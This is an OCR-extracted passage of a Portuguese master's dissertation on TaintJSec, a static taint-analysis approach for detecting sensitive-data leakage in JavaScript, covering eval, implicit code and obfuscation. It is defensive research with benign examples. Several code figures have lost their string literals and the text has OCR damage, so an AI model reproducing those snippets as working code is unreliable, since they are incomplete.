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Resumo

Javascript ¢ uma das linguagens de programacao mais utilizadas no mundo e
continua expandindo-se gradativamente. Tal expansdo deve-se a grande flexibilidade e
dinamicidade que a linguagem possui, o que facilita bastante a criagdo de aplicacoes.
Porém, essa mesma caracteristica que a torna uma linguagem de sucesso é também o
que torna dificil a andlise estatica do fluxo de execucao, processo esse que visa identificar
a presencga de codigos maliciosos nas aplicagoes. Este trabalho apresenta o TaintJSec,
uma nova abordagem que utiliza analise estatica de marcacao de cédigo JavaScript para
identificar e prevenir o vazamento de informacao sensivel. O diferencial do TaintJSec em
relacao aos outros trabalhos que utilizam andlise estatica de marcagao é que ele consegue
analisar o fluxo de cédigos implicitos, acompanha a propagacao do taint tag na execugao
da funcao ewal e identifica o vazamento de informacao em cédigos ofuscados. Para validar
a eficicia da abordagem, foram realizados testes de propagacao do taint tag, dividos em 13
grupos de testes distintos. Em seguida, foram realizados testes para avaliar a propagacao
na execucao da funcao eval. Por fim, a abordagem foi testada em um c6édigo malicioso,
ofuscado por cinco ferramentas diferentes, especificas para tal finalidade. Os resultados
obtidos demonstraram que a abordagem é eficaz na deteccao do vazamento de informagao

e mais eficiente que outros métodos do estado da arte.

Palavras-chave: Vazamento de Informacao, Dados Sensiveis, JavaScript.
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Abstract

Javascript is one of the most used programming languages in the world and continues
to expand gradually. Such success is due to the great flexibility and dynamicity that
the language has, which greatly facilitates the creation of applications. However, this
same characteristic that makes it a successful language is also what makes it difficult
to analyze static execution flow, which aims to identify the presence of malicious code in
applications. This work presents TaintJSec, a new approach that uses static code marking
analysis to identify and prevent leakage of sensitive information in web applications.
Unlike other works based on static analysis, TaintJSec is able to check the explicit and
implicit code flow, accompanies the propagation of the taint tag in the execution of the
eval function, and is able to identify information leakage in obfuscated codes. To validate
the effectiveness of the approach, taint tag propagation tests were performed in a range
of tests divided into 13 different test groups. Then, tests were performed to evaluate the
propagation of the eval function. Finally, the approach was tested in a malicious code,
obscured by five different tools, specific for that purpose. The results demonstrated that
the approach is effective in detecting information leakage and more efficient than other
methods of the state of the art.

Keywords: Data Leakage, Sensitive Data, JavaScript.
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Capitulo 1

Introducao

A linguagem JavaScript é atualmente uma das linguagens de programacao mais populares
e mais utilizadas no mundo para a criagdo de aplicagoes web [1, 2, 3, 4, 5]. Esse sucesso
deve-se em parte a sua facilidade de manipulagao, pois a linguagem possui uma sintaxe
muito flexivel, sendo possivel atingir um mesmo objetivo utilizando diferentes formas
de codificacao. Essa flexibilidade é oriunda da tipagem fraca, onde uma variavel nao é
obrigada a ser do mesmo tipo durante toda a execucao do cédigo, podendo iniciar como
integer, por exemplo, e terminar como string, function, array ou outro tipo de objeto.
A dinamicidade da linguagem também deve-se a possibilidade de inclusao de trechos de
c6digo em tempo de execugao [6], permitindo que aplicagoes desenvolvidas em JavaScript
executem rotinas de codigo e percorram fluxos de execugao nao explicitamente conhecidos.

Essa versatilidade, embora seja 1til para o desenvolvimento de aplicagoes, acaba
abrindo um leque de oportunidades para a execucao de codigos maliciosos, que podem
vir a comprometer os pilares da seguranca da informacao!, como a confidencialidade e a
integridade dos dados daqueles que utilizam a aplicacao.

Para reduzir o risco de execucao de codigo malicioso, os navegadores modernos
fazem uso de um recurso que dificulta o carregamento de codigo executavel a partir de
outras fontes, denonimado de Politica da Mesma Origem?. Por meio dessa politica, uma
aplicagdo pode ficar impossibilitada de carregar trechos de codigos de origens que nao
sejam do seu proprio dominio e até isolar a execucao de cdédigos em diferentes frames.
Porém, esse recurso somente assegura que codigos de terceiros nao possam ser embutidos
no coédigo original das aplicagbes, mas nao bloqueia a execucao de codigos maliciosos

provenientes da propria aplicacao.

1 Os pilares da seguranga da informacio sio formados pela trfade CID (confidencialidade, integridade
e disponibilidade)
2 https://www.w3.org/Security /wiki/Same_ Origin_ Policy


https://www.w3.org/Security/wiki/Same_Origin_Policy

1. INTRODUCAO 2

1.1 Motivacao e Descricao do Problema

Com a linguagem JavaScript evoluindo continuamente e ganhando novos campos de
atuagdo, como o desenvolvimento de extensodes para navegadores [7, 8|, para aplicativos
desktop [9, 10], para servidores [11] e para dispositivos méveis [12], o interesse pelas
linguagens dinamicas ganhou forca, fazendo com que a comunidade de pesquisadores se
voltasse para a criacao de solugoes que pudessem resolver problemas de seguranca em
aberto, tais como o vazamento de informagao.

O vazamento de informacao ¢ a distribuicdao acidental ou nao intencional de dados
sigilosos para um destino ndo autorizado [13]. Esse problema ocorre com maior incidéncia
no universo dos dispositivos méveis [14], onde é explorado por aplicagoes maliciosas que,
uma vez instaladas nos dispositivos, capturam dados sigilosos para repassa-los a terceiros.

Diversos trabalhos foram realizados na tentativa de coibir o problema do vazamento
de informacao sensivel. Pinto et al. [15] e Kuzuno et al. [16] verificam o contetdo dos
pacotes HTTP para checar a existéncia de informagao sigilosa. Wang et al.[17] e Hsiao et
al. [18] utilizam listas para permitir ou bloquear o acesso as fontes de informacao sensivel.
Entretanto, a maioria dos trabalhos realiza analise no fluxo da informacao, para observar
os passos de funcionamento de uma aplicacao e descobrir se uma informacao sensivel esta
sendo vazada [4, 19, 20, 21, 22, 23, 24, 25, 26, 27].

Contudo, diferente das linguagens estaticas, as quais sao bem definidas e fortemente
tipadas, a linguagem JavaScript torna-se um grande desafio para o desenvolvimento de
abordagens que procuram analisar do fluxo da informacao. Nesse contexto, os motivos
que lhe renderam o titulo de linguagem de programacao mais utilizada do mundo sao os
mesmos que fazem com que o fluxo da informagao seja dificil de ser analisado.

Os trabalhos que procuram detectar o vazamento mediante analise de pacotes HTTP
(Hypertext Transfer Protocol) nao conseguem identificar o vazamento se os dados estiverem
ofuscados. Os trabalhos que utilizam listas para permitir ou bloquear o acesso as fontes
de informagcao sensivel exigem que o usuario tenha conhecimento técnico o suficiente para
decidir o que deve ser permitido e o que deve ser bloqueado. Enquanto os trabalhos que
utilizam andlise de fluxo esbarram na complexidade computacional do cédigo JavaScript
devido a sua versatilidade. Por esta razao, muitos desses trabalhos nao tém suporte a
funcao eval® ou qualquer outro método de criacio dindmica de codigo, como ilustra o
Codigo 1.1.

1 |<script>

2 var a = ;

3 var b =

4 var c = ;

5 eval(a+ +b+ +C);

3E uma funcdo nativa da linguagem JavaScript que permite a execucdo dindmica de um script
existente em uma string.
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6 var saida = g(5);
7 |</script>

Cédigo 1.1. Exemplo de cédigo JavaScript utilizando a funcao eval

O Cédigo 1.1 apresenta um exemplo de cédigo JavaScript que utiliza a funcao
eval para criar uma funcao fatorial dinamicamente. Na linha 5 é possivel observar uma
expressao de concatenacao de varidveis (a+‘?'+b+*"4c) para formar o argumento a ser
enviado para a fun¢do. Essa concatenagao resulta no valor literal ‘g=n=>n7g(n-1)*n:1’
que é o argumento enviado a fungao eval, a qual cria a fungdo g em tempo de execucao.
Ao término da execugao da fungdo, a linha seguinte (linha 6) é processada, a qual executa
uma operacao de atribuigdo do resultado da fungdo g (criada pela funcdo eval) para a
variavel saida. O valor atribuido a variavel saida ¢ 120 que corresponde ao fatorial de 5.

A dificuldade para analisar a execucao da funcao eval é o fator determinante para
que muitos trabalhos de analise estatica de cédigo JavaScript nao deem suporte a analise
de criages dinamicas de codigo.

E por esses motivos que este trabalho apresenta uma abordagem que utiliza a analise
estatica para identificar e prevenir o vazamento de informacao sensivel em aplicacoes
web. O TaintJSec consegue verificar o fluxo de cédigo explicito e implicito, acompanha a
propagacao do taint tag na execucao da funcao eval e é capaz de identificar o vazamento
de informacao sensivel em cédigos ofuscados. A abordagem apresentada nesse trabalho
nao compromete o desempenho das aplicagoes por realizar unicamente a anélise estética,
sendo essa a menos onerosa de todas as técnicas de analise de fluxo existente no estado

da arte.

1.2 Objetivos

1.2.1 Objetivo Geral

Aprimorar o processo de detecgdo de vazamento de dados em cdédigo JavaScript baseado

na analise estatica de fluxo de dados.

1.2.2 Objetivos Especificos

Para alcancar o objetivo geral desta pesquisa, os seguintes objetivos especificos devem ser

alcangados:

1. Desenvolver um método para extrair e agrupar o codigo JavaScript presente na
aplicagdo. E necessario extrair o codigo JavaScript para separa-lo de cédigos de

outras linguagem, tais como CSS e HTML. O cédigo extraido e agrupado serve
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de consulta e criagao de representacoes intermediarias que sao utilizadas durante a

analise estatica.

2. Desenvolver um método para criar uma arvore sintatica abstrata de um cédigo
JavaScript. Tal método é utilizado para gerar uma representacao intermédiaria do
cddigo JavaScript da aplicacdo. Essa representacao intermediaria, no formato de

arvore, representara o fluxo de execucao do cédigo JavaScript.

3. Desenvolver um analisador estatico para percorrer a arvore sintatica abstrata e

realizar as operacoes contidas em cada n6 da arvore.

4. Implantar um mecanismo de marcacao de tags na estrutura dos registradores de
objetos do cédigo JavaScript (taint marking). Tal mecanismo é embutido no
analisador estatico, de modo que a marcacao seja mais uma das operacoes realizadas

pelo analisador.

1.3 Contribuicoes
Este trabalho fornece as seguintes contribuigoes:

1. Um analisador estatico de codigo JavaScript capaz de identificar o vazamento de

informacao sensivel em cédigos implicitos e ofuscados.

2. Uma técnica denominada taint position para aumentar o controle da propagacao do

taint tag na analise da funcao eval.

1.4 Estrutura do Documento

O restante desta dissertacdo esta organizada do seguinte modo:

o O Capitulo 2 expse os conceitos basicos e fornece a fundamentagao tedrica necessaria
para que o leitor tenha um melhor entendimento sobre o problema tratado neste
trabalho.

o O Capitulo 3 aborda os trabalhos relacionados e as principais abordagens para
resolver o problema do vazamento de dados sensiveis. As abordagens sao
organizadas em trés grupos e os trabalhos sao apresentados de acordo com o grupo
ao qual pertencem. O capitulo também apresenta uma analise comparativa das

caracteristicas e as limitagoes dos trabalhos relacionados.
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o O Capitulo 4 apresenta o Taint.JSec e descreve as trés fases da abordagem. Também
apresenta uma nova técnica, denominada taint position, para estender o processo de

propagacao do taint tag para o escopo da funcao nativa eval.

o O Capitulo 5 apresenta os testes e os resultados realizados para validar a eficacia do
TaintJSec na deteccao do vazamento de informagao sensivel. Também sao descritas
as trés baterias de testes: testes de propagacao, testes com a funcao eval e testes

em codigos ofuscados.

e O Capitulo 6 conclui este documento apresentando as contribuigoes, as limitacoes

da abordagem e os trabalhos futuros.



Capitulo 2

JavaScript e Desenvolvimento Web

Neste capitulo sao abordados alguns conceitos basicos, com o propésito de prover ao leitor
informagoes necessarias para que tenha um melhor entendimento sobre o contexto em que
este trabalho esta inserido. O capitulo inicia com uma breve descricao da linguagem
JavaScript e conceitua os elementos da linguagem relevantes para os objetivos deste
trabalho, como as bibliotecas JavaScript e a plataforma Node.js. Em seguida, o capitulo
apresenta o problema do vazamento de informacao e discorre sobre as técnicas de analise

de marcagao utilizadas para mitigar esse problema.

2.1 Linguagem de Programacao JavaScript

JavaScript é uma linguagem de programacao comumente utilizada no desenvolvimento
web. Foi desenvolvida em 1995 pela Netscape como um meio para adicionar elementos
dindmicos e interativos para os sites [28]. Enquanto a JavaScript é influenciada pela
linguagem Java, sua sintaxe é mais semelhante a linguagem C e baseada na ECMAScript
[29], uma linguagem de script desenvolvida pela Sun Microsystems.

JavaScript foi originalmente criada para executar no lado do cliente (client-side),
o que significa que o codigo-fonte foi projetado para ser processado pelo navegador
web do cliente e ndao pelo servidor web [30, 31]. Por esse motivo, as fungoes de um
cbddigo JavaScript podem ser executadas apds uma pagina web ter sido carregada sem
se comunicar com o servidor. Por exemplo, uma funcdo pode verificar um formulario
eletronico antes deste ser enviado para certificar-se de que todos os campos obrigatérios
foram preenchidos. Assim, o cédigo JavaScript pode produzir uma mensagem de erro
antes que qualquer informagao seja realmente transmitida para o servidor [32].

Somente a partir do ano 2009, com a criagdo do Node.js [11] a linguagem JavaScript
passou a ser cada vez mais utilizada no lado do servidor (server-side). O Node.js é um

interpretador de codigo construido sobre o motor JavaScript V8 do navegador Google
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Chrome para facilitar a construcao de aplicagoes que executam no server-side [33].

Assim como as linguagens de script que sao executadas no server-side, tais como
PHP (PHP Hypertext Preprocessor) e ASP (Active Server Pages), o cédigo JavaScript
pode ser inserido em qualquer lugar dentro do HTML de uma pagina web. Essa insercao
pode ser realizada de duas maneiras: inline ou por meio de um arquivo externo.

O cédigo inline é inserido diretamente no codigo HTML e o contetdo do cédigo
JavaScript fica inteiramente visivel entre as tags <script>e </script>, como exemplifica
o Codigo 2.1, cujo codigo inline esta entre as linhas 6 e 15.

<IDOCTYPE html>
<html>
<head>
<meta charset= />
<title>Exemplo</title>
<script>
function fatorial(n){
if(n<0)
return -1;
else if(n==0)
return 1;
else return n * fatorial(n-1);
}
var resultado = fatorial(4)
</script>
</head>
<body>
</body>
</html>

© 0 N O Ot s W N =

e e e e =
0 N O Ut ke W N = O

—_
©

Cddigo 2.1. Exemplo de JavaScript inline.

O codigo JavaScript inserido por um arquivo externo utiliza a tag <script> com
o atributo src (source), cujo valor contém o caminho do c6digo externo que geralmente
é referenciado por um arquivo com a extensao .js, mas também pode apresentar outras
extensoes ou até mesmo nenhuma extensdo, pois o documento externo que contém o
codigo JavaScript precisa apenas informar ao navegador que o seu conteido é um codigo
JavaScript, para ser interpretado como tal. Em PHP, por exemplo, essa informagao
¢ indicada pela instrugdo <?php header(’Content-type:text/javascript’); 7>. Assim, o
arquivo externo pode aparecer com a extensao diferente da tradicional .js e continuar
sendo reconhecido pelo navegador como um arquivo JavaScript. Essa troca de extensao
do arquivo externo é comumente utilizada quando deseja-se que o contetdo seja gerado
em tempo de execugao, por meio de uma linguagem de programagao dinamica. A linha 6

do Codigo 2.2 apresenta um exemplo de inser¢ao de cédigo JavaScript externo.
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<IDOCTYPE html>
<html>
<head>
<meta charset= />
<title>Exemplo</title>
<script src= >
</script>
</head>
<body>
</body>
</html>

© 0 N O Ot ks W N =

—
[e=]

—
=

Cddigo 2.2. Exemplo de JavaScript externo.

Indepentendemente se um cdédigo é inline ou externo, ele sempre é um cddigo
explicito, pois estd declarado em meio a estrutura HTML. Os coédigos explicitos sao
identificados simplesmente olhando o codigo-fonte da aplicagao. Por exemplo, o Cddigo
2.1 contém coddigo JavaScript entre as linhas 6 e 15, enquanto o Codigo 2.2 contém codigo
JavaScript entre as linhas 6 e 7.

Por outro lado, os codigos implicitos sao dificeis de identificar visualmente, pois
ficam ocultos na légica de execugao dos cddigos explicitos. Geralmente, esse tipo de
codigo é armazenado em varidveis, assumindo inicialmente valores literais (strings). O
c6digo implicito depende da execugao de um cédigo explicito para que seja transformado
em um novo elemento script anexado ao DOM (Document Object Model). Dentre as
funcdes mais utilizadas para anexar novos trechos de codigo ao DOM destacam-se a
document.write, appendChild e a funcao eval.

O Codigo 2.3 apresenta um codigo HTML que contém coédigo JavaScript com codigos
implicitos em sua légica de execucao.

<IDOCTYPE html>
<html>
<head>
<script>
var implicito_1 = "<script> </"+"script>";
document.write(implicito_1);

var implicito_2 = ></"+"script>";
document.write(implicito_2);

© 0 N O Ot s W N =

— =
= o

var implicito_3 = document.createElement( )
implicito_3.src ;
document.body.appendChild(implicito_3);
</script>
</head>
</html>

—_ = =
=W N
1l

[y
ot

—_
o

Cadigo 2.3. Trecho de codigo explicito contendo codigos implicitos.
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E possivel observar na linha 5 que a varidvel implicito 1 é iniciada com um valor
literal que nao é um coédigo JavaScript reconhecido pelo DOM, mas passa a ser considerado
um novo trecho de cédigo apds a execucao da funcao document.write da linha 6. O
mesmo ocorre com a variavel implicito 2, porém esta difere-se por nao trazer consigo
cbdigos inline, mas faz referéncia a um arquivo externo. Ja a variavel implicito_ 3, na
linha 11, nao é declarada com um valor literal, mas com um novo elemento do HT'ML
que, inicialmente, nao faz parte do DOM, vindo a fazer parte apds a execugao da funcao
appendChild, na linha 13.

A Figura 2.1 apresenta o resultado da execugdo do Cddigo 2.3, onde outras tags

<script> foram dinamicamente criadas.

<IDOCTYFE himlx>

- CE

<head>
B <body>
B <script>

2 var implicito 1 = "<scriptralert('testel’);</"+"script>";
3 document .write {implicito 1);
5 var implicito 2 = "<script src='lib.Jja’'»</"+"script>";
& document .write{implicito 2);
= var implicito 3 = document.createElement ("script"):
5 implicito_3.sre = "lib.ja";
10 document . body. appendChild {implicite_3);
</acript>

B <script>
alert|{'testel");
</acript>

B <script sre="lib.js">

¥ 77 1ib.3e - cédigo implicito
Z | alert{"testei");

<facript>

B <script sre="lib.js">

1 fF lib.]js
2| alert({™testei™);
</acript>
</body>
</html¥

Figura 2.1. Novos codigos criados dinamicamente.

A Figura 2.1 apresenta em destaque trés novos trechos de codigos JavaScript criados
dinamicamente, em tempo de execucao. Tais codigos estavam implicitos na logica de
execucao dos codigos explicitos. Ao observar o Cédigo 2.3 ndo é possivel ver os novos
trechos de codigo tal como apresentados na Figura 2.1, pois eles somente passam a existir
apés a execucao dos codigos explicitos. Porém, ainda é possivel ver que as variaveis
implicito__1 e implicito 2 recebem blocos de cdédigo JavaScript em forma de string.

Essa visualizagao so é possivel porque os valores atribuidos as variaveis implicito 1
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e implicito 2 estdo em texto plano', mas caso estivessem ofuscados nao seria possivel
identificar, apenas olhando para o codigo, que as variaveis estavam recebendo blocos de

c6digo implicito, como exemplifica o Codigo 2.4.

1 |<!DOCTYPE html>

2 | <html>

3 <head>

4 <script>

5 var implicito_1 =
document.write(implicito_1);

8 var implicito_2 =

9 document.write(implicito_2);

10

11 var implicito_3 = document.createElement( );

12 implicito_3.src = ;

13 document.body.appendChild(implicito_3);

14 </script>

15 </head>

16 |</html>

Cddigo 2.4. Trecho de cédigo explicito contendo codigos implicitos ofuscados.

O Cobdigo 2.4 é uma copia Codigo 2.3, porém os valores atribuidos as variaveis
implicito__1 e implicito_2, que antes eram textos planos, foram substituidos por sua
representacao hexadecimal. Os valores que as variaveis recebem sao os mesmos em ambos
os codigos, a unica diferenca é que no Codigo 2.4 os valores estao ofuscados.

Cédigo ofuscado é o codigo que passou por um processo de ofuscacao, ou seja, um
embaralhamento com o objetivo de transformar o cédigo legivel em um equivalente que é
mais dificil de entender [34, 35].

Assim, é possivel notar que a linguagem JavaScript é bastante flexivel para permitir
que um mesmo resultado possa ser obtido de diferentes maneiras. A possibilidade de criar
c6digos dinamicamente permite maior interatividade com a pagina web. Enquanto que
criar codigos ofuscados é comumente usado por desenvolvedores de software para proteger
a propriedade intelectual de seu codigo.

Contudo, a versatilidade da linguagem JavaScript também é explorada para a
criacao de malwares, que utilizam os recursos da linguagem para evadir sistemas de

detecgao baseados em assinaturas e praticar o vazamento de informacao.

! Um texto simples com formato humanamente legivel, sem qualquer embaralhamento proposital para
dificultar a leitura.
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2.2 Vazamento de Informacao

Vazamento de informacao é definido como uma distribuicao acidental ou nao intencional
de dados sigilosos para um destino nao autorizado [13].

Tal vazamento pode facilmente acarretar prejuizos ao dono da informacao.
Dependendo do tipo de informacao vazada, o dano causado pode ser financeiro ou
moral. Uma empresa, por exemplo, que possui muitas informagoes sigilosas, como dados
financeiros, nimeros de cartao de crédito e planos estratégicos, pode sofrer prejuizos caso
esses dados sejam enviados a uma entidade nao autorizada. Como foi o caso da empresa
Sony no ano de 2014, onde crackers roubaram uma grande quantidade de informacoes
sigilosas e divulgaram na Internet cinco filmes inéditos, causando um prejuizo financeiro
estimado em US$ 300 milhoes [36].

Os danos causados por vazamento de informagao privilegiada podem ser classificados
em duas categorias: diretos e indiretos.

Os danos diretos referem-se a danos tangiveis, ou seja, sao danos mensuraveis, faceis
de medir ou estimar quantitativamente. Os danos indiretos, por outro lado, sdo muito
mais dificeis de quantificar e possuem um impacto muito mais amplo em termos de custo,
lugar e tempo [37]. Geralmente o dano indireto ¢é identificado quando a empresa tem a sua
imagem prejudicada junto aos seus clientes, fazendo com que novos negocios deixem de
ser firmados devido a inseguranca criada apés um evento de vazamento de dados sigilosos.
Como foi o caso da empresa Uber, que teve dados de 57 milhoes de contas de usuarios
vazados no ano de 2016 quando crackers invadiram seus servidores. A empresa manteve
segredo durante um ano, vindo a revelar sobre o vazamento no final do ano de 2017,
quando havia acabado de fazer um acordo com a procuradoria-geral de Nova York sobre
um processo envolvendo seguranga de dados [38].

Com as pessoas, o dano indireto é identificado quando o vazamento de informacao
prejudica a moral ou a honra, fazendo com que a pessoa sinta-se desmoralizada,
envergonhada ou prejudicada junto a sociedade.

O risco de ocorrer o vazamento de informagao nas empresas esta presente desde a
perda de um malote de documentos impressos até uma invasao de crackers nos servidores.
Porém, com o aumento da pratica de BYOD (Bring Your Own Device) o risco de
vazamento encontra-se também nos dispositivos das pessoas.

No BYOD, um funcionario pode levar seu laptop, tablet ou smartphone para a
empresa e utiliza-lo como uma ferramenta de trabalho, acessando a rede coorporativa e
tendo acesso a dados restritos [39]. Um funcionario com acesso a informagoes da empresa
pode copia-las para seu dispositivo ou para um repositério na nuvem, como o Dropboz?

por exemplo. Esse dispositivo esta sujeito a infec¢es de virus, spywares, extravio e até

2 http://www.dropbox.com
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mesmo a instalacao de aplicagoes maliciosas, as quais nao sao detectadas por sistemas
antivirus.

Na tentativa de mitigar o problema do vazamento de informagao em dispositivos,
muitos trabalhos foram realizados. Em sua maioria, encontram-se os trabalhos que
utilizam andlise do fluxo de execucao de aplicagoes instaladas nos dispositivos, a fim
de detectar se uma aplicagao esta causando vazamento de dados sigilosos.

A secao 2.3 aborda sobre a técnica de analise de marcagao em codigo, a qual é uma

técnica que observa como os dados sensiveis transitam na aplicacgao.

2.3 Analise de Marcacao ( Taint Analysis)

A anélise do fluxo da informacao é utilizada por métodos que fazem a verificacdo dos
passos de funcionamento de uma aplicagdo. A técnica consiste em marcar os dados que
sao identificados como dados sensiveis e observar por onde esses dados marcados (tainted
data) sdao propagados. Permitindo assim identificar o momento que um tainted data
propaga-se de um objeto para outro (taint propagation).

Essa verificagao pode ser realizada dinamicamente em tempo de execucao (andlise
dindmica) ou pode ocorrer em modo estéatico durante o processo de compilagao do cddigo

(andlise estatica).

2.3.1 Analise de Marcacao Dinamica

A anélise dinamica de codigo é uma técnica que faz suas verificagoes em tempo de execucao
20, 40, 41], com o programa em funcionamento. Essa andlise é realizada em um ambiente
controlado e permite que o usuario interaja com a aplicagdo com segurancga, pois parte da
premissa de que um cédigo malicioso pode ser ativado especificamente apds certo evento
ter ocorrido no sistema [42].

A andlise funciona por meio de modificagdes realizadas no codigo original do
programa, onde métodos utilizados para rastrear a informacao sao inseridos em pontos
estratégicos do codigo. Assim, todos os dados que estiverem trafegando durante a
execucao do programa sao analisados.

Ao acompanhar cada passo de um dado no fluxo da aplicagdo é possivel agir com
maior justica, reduzindo os nimeros de falsos positivos. Por outro lado, a sobrecarga
imposta (overhead) para a execugao da anélise dindmica é superior ao da andlise estética
[43].
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2.3.2 Analise de Marcacao Estatica

A andlise estatica de cddigo é um método utilizado para verificar o comportamento de
um programa sem que seja necessario executd-lo [44]. A anélise consiste em percorrer
o cbédigo, tratando-o como um grafo dirigido, o qual representa o fluxo de execucao do
programa. Nesse grafo, a andlise verifica a operacao contida em cada vértice a fim de
decidir qual aresta serd utilizada para continuar o caminho pelo grafo.

Esse grafo é obtido por um processo de transformacdo do codigo-fonte em numa
estrutura de dados, geralmente designada por uma arvore sintdtica abstrata (AST -
Abstract Syntax Tree), usando um conjunto de regras predeterminado [45].

A arvore sintatica abstrata ou simplesmente AST é uma representacao sintatica
simplificada do cédigo-fonte e, na maioria das vezes, é expressa em uma estrutura de
dados da linguagem de programacao utilizada para a implementacdo. E uma estrutura
em formato de arvore, onde cada né dessa arvore denota uma instrucao que ocorre no
codigo [46]. A sintaxe é “abstrata” (simplificada) por ndo representar todos os detalhes
que aparecem na sintaxe real do cddigo JavaScript. Por exemplo, o agrupamento de
parénteses esta implicito na estrutura da arvore e uma construgao sintatica como uma
expressao [F pode ser apresentada como sendo um tnico n6é com trés ramificagoes. Isso
distingue a AST de uma arvore de sintaxe concreta, tradicionalmente nomeada como
arvore de andlise ou arvore de parser, muitas vezes construida por um analisador durante
o processo de compilagao de codigos-fonte. Logo, a AST nao tem necessidade de ter tanta
informacgao quanto a arvore de parser.

A Figura 2.2 exemplifica um simples cédigo em JavaScript e sua respectiva

representacao em formato de arvore sintatica abstrata.

Cddigo JavaScript AST
/x_/'\
answer = 6 x 7; (answer) \

x\

Figura 2.2. Exemplo de um cédigo JavaScript com sua respectiva AST.

A AST ¢ usada intensivamente por compiladores, durante a analise semantica de
um cédigo-fonte, onde o compilador verifica o uso correto dos elementos do programa e
da linguagem, e depois de verificar a corretude, a AST serve como base para a criagao de

uma representacao intermediaria durante a compilagao do codigo.
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Além dos compiladores, a AST também ¢é utilizada em outros campos de analise
de codigo como, por exemplo, os trabalhos [47, 48, 49] que utilizam a AST como uma
representacao intermedidria para verificar a existéncia de plagio entre dois ou mais
codigos-fontes. O trabalho de Neamtiu et al. [50] usa a AST para verificar a evolucao de
um determinado cédigo e apresenta as diferencas entre suas versdes. Ja os trabalhos de
Blanc et al. [51] e Curtsinger et al. [52] utilizam a AST para detectar cddigos maliciosos
escondidos em trechos ofuscados de JavaScript.

Atualmente existem ferramentas voltadas para a realizacdo do processo de
transformagao de cédigo-fonte em AST como, por exemplo, o Esprima [53]. O Esprima
¢ um moédulo do Node.js utilizado para gerar estruturas de dados a partir de codigos
JavaScript.

A Figura 2.3 apresenta um exemplo de um cédigo JavaScript e a sua respectiva AST

gerada pelo médulo Esprima.

Cddigo JavaScript Arvore Sintatica Abstrata
{
"type": "Program",
"body": [
{
"type": "VariableDeclaration",
"declarations™: [
{
"type": "VariableDeclarator"
"id": {
"type": "Identifier",
"name": "answer"
I
Il'nj-tl!.l {
"type": "BinaryExpression",
"operator": "*",
"left": {
var answer = 6 * 7; "type": "Literal",
"wvalue": 6,
"raw": "6"
.
"right": {
"type": "Literal",
"walue™: T,
"raw": "7"
H
}
X
“éind”: "var"
}
1.
"sourceType": "script"

Figura 2.3. Exemplo de AST gerada pelo médulo Esprima a partir de um cédigo
JavaScript.

A Figura 2.3 apresenta o codigo JavaScript var answer = 6 * T7; que, ao ser
enviado ao médulo Esprima, resultou na sua representacdo em arvore sintatica abstrata.

A arvore é fornecida no formato JSON (JavaScript Object Notation) e cada um de seus
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vértices possuem o atributo type para informar o tipo de operacao executada em suas
subarvores.

Por meio das informagoes contidas nos vértices da AST, a andlise estatica decide
quais operagoes realizar e qual a proxima aresta que serd utilizada para continuar a analise.

Quando uma operacao de fornecimento de dados sensiveis é detectada, a andlise
marca o objeto (taint marking) que passa a conter o dado. Esse objeto, agora marcado
pela analise, é continuamente observado para que os vértices, que contenham operacoes
que interajam com esse objeto, sejam tratados como potenciais pontos de propagacao de
informacao sensivel (taint source). Todos os caminhos do grafo que terminam em uma
operagao de saida (taint sink) sdo considerados caminhos de vazamento de informagao em
potencial.

Em comparacao com a analise dindmica, a analise estatica possui menor consumo de
memoria e, se utilizada em dispositivos méveis, consome menos bateria, pois nao precisa
acompanhar a sequéncia de fluxo de dados a cada interacao durante todo o tempo em que o
programa estiver em funcionamento [25]. Além disso, a anélise estdtica permite percorrer
todos os caminhos possiveis do grafo de execucao de uma aplicagao logo na primeira
andlise [41]. Diferente da andlise dindmica que necessita de um evento especifico para
analisar cada caminho do fluxo de execucao. Ainda mais, a andlise estatica nao necessita
de intervengoes no codigo-fonte original dos sistemas para que possa ser aplicada. Ja a

andlise dindmica necessita de alteragoes no cédigo-fonte dos sistemas hospedeiros.

2.3.3 Termos da Analise de Marcacao

Aqui sdo apresentados alguns termos da analise de marcacao utilizados neste trabalho.

Taint Tag
E um atributo de valor booleano que indica se um objeto estd marcado ou nao.

Quando o valor booleano ¢é positivo, significa que o objeto esta marcado.

Taint Data
E o0 nome dado a um objeto marcado com taint tag positivo. Os tainted data séo

objetos que contém informagoes sensiveis.

Taint Marking
E o método de marcacio dos objetos [27]. Cada abordagem que utiliza Taint

Analysis cria seu préprio processo de taint marking.
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Source

E um fornecedor de informacées, que pode ser um método, funcao, objeto ou atributo
de um objeto nativo que fornece alguma informacao para o programa. Em JavaScript, por
exemplo, sao considerados sources os objetos como window.navigator e window.history,
onde um fornece informacoes sobre o navegador do usudario e o outro fornece informacoes

sobre o histérico de navegacao, respectivamente.

Taint Source

E um fornecedor de informagcoes, assim como o source, mas é um fornecedor marcado
com taint tag positivo, por isso é denominado de taint source. Essa marcacao é utilizada
para diferenciar os fornecedores de dados sensiveis, taint sources, dos demais sources que

nao fornecem qualquer dado sensivel [54].

Taint Sink

E um sumidouro também referenciado simplesmente de sink, que pode ser uma
funcdo, método ou objeto nativo que possui a capacidade de enviar um dado para fora
dos dominios do programa [27, 54]. Em JavaScript, por exemplo, sdo considerados sinks
o objeto window.localStorage e a funcao window.postMessage(), onde um é utilizado para
armazenar dados no navegador do usuario e o outro serve para enviar mensagens para
outros dominios, respectivamente. Durante a andlise, o sink é sempre o ultimo vértice
do grafo de execucao de cddigo, antes que o vazamento de informagao seja detectado,

servindo como porta de saida para um tainted data.

Taint Propagation
E a propagacdo de um objeto com taint tag negativo por um tainted data. A
propagacao do taint tag ocorre em diversos momentos da execucao do codigo, como em

operagoes de atribuicao, expressoes binarias ou passagem de parametros, por exemplo.

2.4 Consideracoes Finais

Este capitulo forneceu conceitos necessarios para um melhor entendimento sobre o
problema tratado nesta pesquisa. A linguagem de programacao JavaScript foi apresentada
com uma breve descricao de suas principais caracteristicas, tais como bibliotecas de
desenvolvimento, cédigo inline, codigo externo, codigo explicito e implicito. O problema
do vazamento de informagao foi descrito, informando os prejuizos causados por ele, que
classificam-se em danos diretos e indiretos. A técnica de mitigacdo de vazamento de
informacao, conhecida como Analise de Marcagao, foi explanada discorrendo sobre os dois
tipos de analise de fluxo da informacao existentes: analise dindmica e andlise estatica.
Neste capitulo também foi realizada uma breve apresentacdo da plataforma de

desenvolvimento Node.js, que utiliza a linguagem JavaScript para executar no lado do
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servidor, e os modulos jsDom e Esprima, que tém funcdo semelhante as bibliotecas

JavaScript e sao utilizados durante a implementagao deste trabalho (Segao 4.4).



Capitulo 3

Trabalhos Relacionados

Este capitulo apresenta as principais abordagens para resolver o problema do vazamento
